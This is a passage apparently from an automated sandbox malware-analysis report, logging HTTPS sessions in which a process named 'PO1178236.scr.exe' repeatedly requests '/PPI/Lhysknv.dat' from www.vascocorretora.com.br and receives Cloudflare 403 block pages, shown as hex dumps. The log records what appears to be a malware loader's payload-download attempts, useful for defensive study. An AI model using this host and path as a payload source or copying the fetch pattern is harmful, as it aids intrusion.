2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:02 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:02 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:02 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 63 36 66 61 37 30 37 64 31 65 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6c6fa707d1e</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:02 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 63 36 66 61 37 30 37 64 31 65 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6c6fa707d1e',t:'MTczNjQwNzc0Mi4wMDAwMDA='};var
2025-01-09 07:29:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49805	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:03 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:03 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZSni8YJYrYiZg0UC8HS6cld%2BvVWgF4rkUMuQQVv8OzUO8ROvFMFsWz%2Fj9QumnquHzmw2VtYabz%2B%2BwMcfwDLgFIg%2Bpqkb2qYomU1iSchsz7jA1pNLGQGWRDBY5d%2FrMV5jCHTMQZXQjom4yaef"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6cadf947ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1971&min_rtt=1960&rtt_var=758&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1420924&cwnd=239&unsent_bytes=0&cid=33a1c0784efa1fa7&ts=151&x=0"
2025-01-09 07:29:03 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:03 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:03 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:03 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 63 61 64 66 39 34 37 63 61 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6cadf947ca2</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:03 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 63 61 64 66 39 34 37 63 61 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6cadf947ca2',t:'MTczNjQwNzc0My4wMDAwMDA='}
2025-01-09 07:29:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49806	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:03 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:03 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vwgJewKcytPVP6VmrbSB4aRMzZjhKYMzxH0TMQScb2593lQWheAJgwifzzEsSnjiRAbBS8aWnwFapIGXLLgtIDpahq1q8DogOUDy9CDcA3dqNMaUJsyNQsnxdRjDnzfz%2Bzjsksy22R5W7G1E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6ce98d5728c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1970&min_rtt=1960&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1429970&cwnd=166&unsent_bytes=0&cid=bd9b1a3fa60886c5&ts=130&x=0"
2025-01-09 07:29:03 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:03 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:29:03 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:29:03 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 63 65 39 38 64 35 37 32 38 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6ce98d5728c</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:29:03 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 63 65 39 38 64 35 37 32 38 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6ce98d5728c',t:'MTczNjQwNzc0My4wMDAwMDA='};var a=doc
2025-01-09 07:29:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49807	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:04 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:04 UTC	1017	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vWkW%2FBLDy%2Fm6Ee0xPIIY1HBCCny3vIE5ecXuBlTiqFZdRWNXDOhba5wW%2FcUU6t%2BO8fAUXS%2FVtQXdxP%2Fq6n%2BWSo4cfVJdzDBZ1h5bQd%2BuQuaUvBsstAdO0aW3mdNpXNeCOmvsWyQ%2FuBjtcac8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6d25a3cde92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1624&min_rtt=1612&rtt_var=628&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1708601&cwnd=239&unsent_bytes=0&cid=3cd65c8d4bf4b7e4&ts=144&x=0"
2025-01-09 07:29:04 UTC	352	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:04 UTC	1369	IN	Data Raw: 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 Data Ascii: d! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content
